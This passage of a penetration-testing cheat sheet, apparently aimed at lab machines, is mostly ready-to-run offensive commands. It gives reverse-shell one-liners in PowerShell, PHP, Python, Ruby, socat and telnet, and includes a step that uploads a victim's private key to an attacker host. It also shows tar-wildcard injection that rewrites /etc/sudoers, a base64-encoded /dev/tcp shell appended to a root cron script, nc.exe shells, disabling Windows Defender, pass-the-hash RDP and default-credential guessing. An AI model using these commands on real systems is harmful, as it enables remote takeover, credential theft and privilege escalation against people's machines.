powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<TARGET_IP>', <TARGET_PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
16.1.8 PHP
php -r '$sock=fsockopen("<TARGET_IP>",<TARGET_PORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
16.1.9 Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<TARGET_IP>",<TARGET_PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
16.1.10 Ruby
ruby -rsocket -e 'f=TCPSocket.open("<TARGET_IP>",<TARGET_PORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
16.1.11 Socat
socat TCP:<TARGET_IP>:<TARGET_PORT> EXEC:/bin/bash
16.1.12 Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet <TARGET_IP> <TARGET_PORT> 0</tmp/p | /bin/sh 1>/tmp/p 2>&1
16.1.13 Tool for Generating Reverse Shell
git clone https://github.com/ShutdownRepo/shellerator
pip3 install --user -r requirements.txt
sudo cp shellrator.py /bin/shellrator
shellrator
16.2 Upgrade Shells
16.2.1 Adjust Interactive Shells
# Find terminal size (replace values with actual output)
stty size # Example output: 50 235
# Background the shell and adjust settings
Ctrl-Z
stty raw -echo # Disable shell echo
fg
export SHELL=bash
export TERM=xterm # Or use xterm-256color for extended color support
# Set terminal size
stty rows <ROWS> columns <COLS>
16.2.2 Bash
# Spawn a new Bash shell
bash -i
16.2.3 Lua
# Execute a new Bash shell
os.execute('/bin/bash')
16.2.4 Perl
# Execute a new Bash shell
perl -e 'exec "/bin/bash"'
16.2.5 Python
# Python 2.x
python -c 'import pty; pty.spawn("/bin/bash")'
# Python 3.x
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Upgrade to a TTY shell with Python
python -c 'import pty; import os; pty.spawn("/bin/bash"); os.system("stty raw -echo")'
16.2.6 Ruby
# Execute a new Bash shell
exec "/bin/bash"
16.2.7 Sh
# Spawn a new interactive shell
sh -i
16.3 Tools
16.3.1 Linux
16.3.1.1 BloodHound Tools
- bloodhound-python: Python implementation of BloodHound for AD enumeration.
16.3.1.2 Privilege Escalation Scripts
16.3.1.3 Security Tools
- Checksec: GitHub
- Exploit Suggester: GitHub
- Peepdf: GitHub
- Pspy: GitHub - Snoop on processes without root permissions.
16.3.1.4 Other Utilities
- Impacket-mssqlclient: Available within the Impacket suite
- Klist:
sudo apt install krb5-user
- Kerbrute.py: Available within the BloodHound suite.
- Ntlm-theft: GitHub
- PowerCat: GitHub
- Putty Tools:
sudo apt update && sudo apt upgrade && sudo apt install putty-tools
- Rbcd.py: GitHub and Raw
- Rpcdump: Part of the BloodHound tools.
16.3.2 Windows
16.3.2.1 BloodHound Tools
- Bloodhound.exe: GitHub - Active Directory enumeration and exploitation.
- GhostPack Compiled Binaries: GitHub
- GMSAPasswordReader.exe: GitHub - Extract gPasswords from AD.
- Nc.exe: GitHub
- Rubeus.exe: GitHub
- SeAbuse.exe: GitHub - Example
usage:
.\SeRestoreAbuse.exe "C:\temp\nc.exe 192.168.49.194 445 -e powershell.exe"
16.3.2.2 Kerberos Tools
- GetTGT.py: Part of the BloodHound tools
- GetST.py: Part of the BloodHound tools
- Kerbrute: GitHub
- Psexec.py: Part of the BloodHound tools
- TargetedKerberoast.py: GitHub
- Ticketer: Available within the BloodHound suite.
16.3.2.3 Other Utilities
- PowerMad: GitHub
- PowerView: GitHub
- PowerUp: GitHub
- PrivescCheck: GitHub
- Seatbelt: GitHub
- WinPEAS: GitHub
16.4 Connect to RDP
16.4.1 Using Credentials
xfreerdp /compression +auto-reconnect /u:[user] /p:'[password]' /v:[IP] +clipboard /size:1920x1080 /drive:desktop,/home/[your_username]/Desktop
16.4.2 Using Hashes
# Using an NTLM hash.
xfreerdp /size:1920x1080 /v:[IP] /u:[user] /H:[hash] /cert:ignore /dynamic-resolution
16.4.3 Prompt for Credentials
# Useful when GUI is required for attacks.
rdesktop [IP]
16.4.4 General RDP Connect
xfreerdp
# Connect with a username and password
xfreerdp /size:1920x1080 /u:[user] /p:[password] /v:[host/ip] /drive:desktop,/home/[your_username]/Desktop
rdesktop
# Connect with specified dimensions and credentials
rdesktop [IP] -u [user] -p [password] -g 80%+150+100
16.5 Decoding Techniques
ASCII to Text
# Decode
echo "72 101 108 108 111" | awk '{for(i=1;i<=NF;i++) printf("%c",$i)}'
# Encode
echo -n "Hello" | od -An -t uC | tr -d ' \n'
Base64
# Decode
echo "SGVsbG8gd29ybGQ=" | base64 -d
# Encode
echo "Hello world" | base64
Hexadecimal
# Decode
echo "48656c6c6f20776f726c64" | xxd -r -p
# Encode
echo "Hello world" | xxd -p
Reverse a String
# Decode
echo "dlrow olleH" | rev
# Encode
echo "Hello world" | rev
ROT13
# Decode
echo "Uryyb jbeyq" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# Encode
echo "Hello world" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
URL
# Decode
echo "Hello%20World%21" | python3 -c "import urllib.parse, sys; print(urllib.parse.unquote(sys.stdin.read().strip()))"
# Encode
echo "Hello World!" | python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.stdin.read().strip()))"
16.6 Curl Usage
16.6.1 Basic Requests
- GET Request
curl http://example.com
- GET Request with Custom Headers
curl -H "Accept: application/json" http://example.com
16.6.2 Data Submission
- POST Request with Form Data
curl -X POST -d "param1=value1¶m2=value2" http://example.com/submit
- POST Request with JSON Data
curl -H "Content-Type: application/json" -X POST -d '{"key1":"value1", "key2":"value2"}' http://example.com/api
- PUT Request with Form Data
curl -X PUT -d "param1=value1¶m2=value2" http://example.com/update
- DELETE Request
curl -X DELETE http://example.com/delete
16.6.3 Authentication and Headers
- Basic Authentication
curl -u username:password http://example.com
- Custom User-Agent
curl -A "CustomUserAgent/1.0" http://example.com
16.6.4 Response Handling
- Include Response Headers
curl -i http://example.com
- Save Response to File
curl -o filename.html http://example.com
- Show Response Headers Only
curl -I http://example.com
- Print Response Body Only
curl -s http://example.com
- Show Detailed Request and Response
curl -v http://example.com
16.6.5 Cookies and Session Management
- Send Cookies
curl -b "cookie1=value1; cookie2=value2" http://example.com
- Save Cookies to File
curl -c cookies.txt http://example.com
- Load Cookies from File
curl -b cookies.txt http://example.com
16.6.6 File Operations
- Upload a File
curl -F "file=@path/to/file" http://example.com/upload
- Download a File with Resume Support
curl -C - -o filename http://example.com/file
16.6.7 Proxy and Security
- Use a Proxy
curl -x http://proxyserver:port http://example.com
- Use HTTPS and Insecure SSL
curl -k https://example.com
16.6.8 Additional Options
- Follow Redirects
curl -L http://example.com
- Set Timeout
curl --max-time 30 http://example.com
- Show Only Response Code
curl -s -o /dev/null -w "%{http_code}" http://example.com
- Use HTTP/2
curl --http2 http://example.com
16.7 Generate a SSH Key
- Generate SSH Key Pair (Run on the victim machine):
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ''
- Set Up a Web Server on the Attacker Machine (Run on the attacker Kali machine):
python3 -m http.server 80
- Upload the Private Key to the Attacker Machine (Run on the victim machine):
curl -T /tmp/id_rsa http://<attacker_ip>/id_rsa
- Clean Up SSH Key Files (Run on the victim machine):
# Remove the key files from the victim machine to avoid leaving sensitive files.
rm /tmp/id_rsa /tmp/id_rsa.pub
- Download the Private Key on the Attacker Machine (Run on the attacker Kali machine):
# Replace <victim_ip> with the IP address where the private key was uploaded.
wget http://<victim_ip>/id_rsa
- Set Permissions for the Private Key (Run on the attacker Kali machine):
chmod 600 id_rsa
- Connect Using SSH (Run on the attacker Kali machine):
ssh -i id_rsa user@<victim_ip>
16.8 Default Credentials
List of Passwords:
# Commonly guessed or default credentials
root:root # Default root credentials
admin@example.com:admin # Common admin credentials for email accounts
admin:admin # Standard admin/admin credentials
USERK:USERK # Credentials matching the box name (e.g., a target machine's name)
cassie:cassie # Credentials found using exiftool or similar methods
# Additional Default Credentials
admin:password # Standard admin/password credentials
admin:1234 # Admin credentials with simple numeric password
administrator:admin # Default admin credentials for Windows systems
admin:admin123 # Common admin credentials with variations
guest:guest # Default guest credentials for various systems
user:user # Basic user credentials
test:test # Test account credentials
support:support # Default support account credentials
manager:manager # Common manager credentials
operator:operator # Default operator credentials
service:service # Default service account credentials
postgres:postgres # Default PostgreSQL credentials
mysql:mysql # Default MySQL credentials
Strategies for Effective Password Guessing:
- Common Combinations: Start with widely used username/password combinations.
- Box-Specific Credentials: Test credentials that might be related to the target
machine or service (e.g.,
USERK:USERK
). - Metadata Extraction: Use tools like
exiftool
to find usernames and passwords embedded in metadata. - Brute Force and Dictionary Attacks: For more comprehensive password guessing, use tools that can automate these attacks with a wordlist.
Tips:
- Default Password Lists: Utilize common default password lists, such as those provided by security tools or databases like SecLists.
- Vendor Documentation: Check vendor documentation or forums for default credentials specific to certain devices or software.
- Device Manuals: Refer to device manuals or configuration guides for default credentials used in network devices or applications.
16.9 Additional Tips
Change File Ownership
# Example file ownership before change
ls -l id_rsa
# Output: -rw------- 1 root root 3381 Sep 24 2020 id_rsa
# Change file ownership to a new user
sudo chown <new_owner> <file_name>
# Example file ownership after change
ls -l id_rsa
# Output: -rw------- 1 <new_owner> root 3381 Sep 24 2020 id_rsa
Change User Permissions
# Add a user to a group
sudo usermod -aG <group_name> <username>
Extract Metadata
exiftool -a -u [file.extension]
Find Hash Type
hashid [hash]
Important Wordlists:
xato-net-10-million-usernames.txt
Modify /etc/sudoers
via tar
# The idea is to have the sudoers file with this line: emma ALL=(root) NOPASSWD: ALL
cd /tmp
touch payload.sh
echo "echo 'james ALL=(root) NOPASSWD: ALL' > /etc/sudoers" > payload.sh # Or use nano to add the file if possible
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
# The below command is possible because we checked sudo -l and saw the permission tar for the user.
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *
# After this we can check with sudo -l and should see the line: (root) NOPASSWD: ALL. The access the root shell
sudo /bin/bash
Save Private Key with Unstable Reverse Shell:
echo "-----BEGIN OPENSSH PRIVATE KEY----- ... -----END OPENSSH PRIVATE KEY-----" > /tmp/id_rsa
Search for Passwords in PHP Files:
find [directoryPath] -maxdepth 5 -name "*.php" -exec grep -Hni "password" {} \; 2>/dev/null
Upgrade to Root Shell with Script:
# Shen found a script owned and run by root but writable for us
# At target machine
echo -n "chmod u+s /bin/bash" | base64
echo "echo -n 'Y2htb2QgdStzIC9iaW4vYmFzaA=='|base64 -d|bash" >> /var/backups/etc_Backup.sh
#wait for a few second
ls -al /bin/bash
/bin/bash -p
#You can use other payload as well such as
echo -n "sh -i >& /dev/tcp/$KaliIP/80 0>&1" | base64
echo "echo -n 'c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4xNzYvODAgMD4mMQ=='|base64 -d|bash" >> /var/backups/etc_Backup.sh
Useful Windows Commands
# Find a file
locate <FILE>
find / -name "<FILE>"
# Show Active Connections
netstat -lntp
# List all SUID files
find / -perm -4000 2>/dev/null
# Determine version of Linux
cat /etc/issue
uname -a
# List running processes
ps -faux
Get-ChildItem -Path C:\Users\ -Include *.* -File -Recurse -ErrorAction SilentlyContinue
# Shows only hidden files
Dir -Hidden
# Shows all files (including hidden)
Dir -Force
net config Workstation
systeminfo
net users
ipconfig /all
netstat -ano
schtasks /query /fo LIST /v
tasklist /SVC
net start
DRIVERQUERY
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
dir /s pass == cred == vnc == .config
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Disable windows defender
sc stop WinDefend
# Bypass restriction
powershell -nop -ep bypass
# List hidden files
dir /a
# Find a file
dir /b/s "<FILE>"
User and Permissions Management
# Create a new group with a specific GID
sudo groupadd -g <gid> <group_name>
# Create a new user with a specific UID and GID
sudo useradd -u <uid> -g <gid> <username>
# Set a password for the new user
sudo passwd <username>